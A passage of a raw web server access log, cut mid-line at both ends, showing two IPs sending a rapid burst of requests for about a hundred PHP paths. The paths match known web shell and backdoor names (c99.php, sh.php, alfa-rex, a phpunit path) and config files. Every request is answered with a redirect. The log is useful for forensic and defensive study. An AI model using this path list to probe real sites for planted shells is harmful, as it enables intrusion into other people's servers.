Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:39 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:39 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:40 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:40 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:41 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" 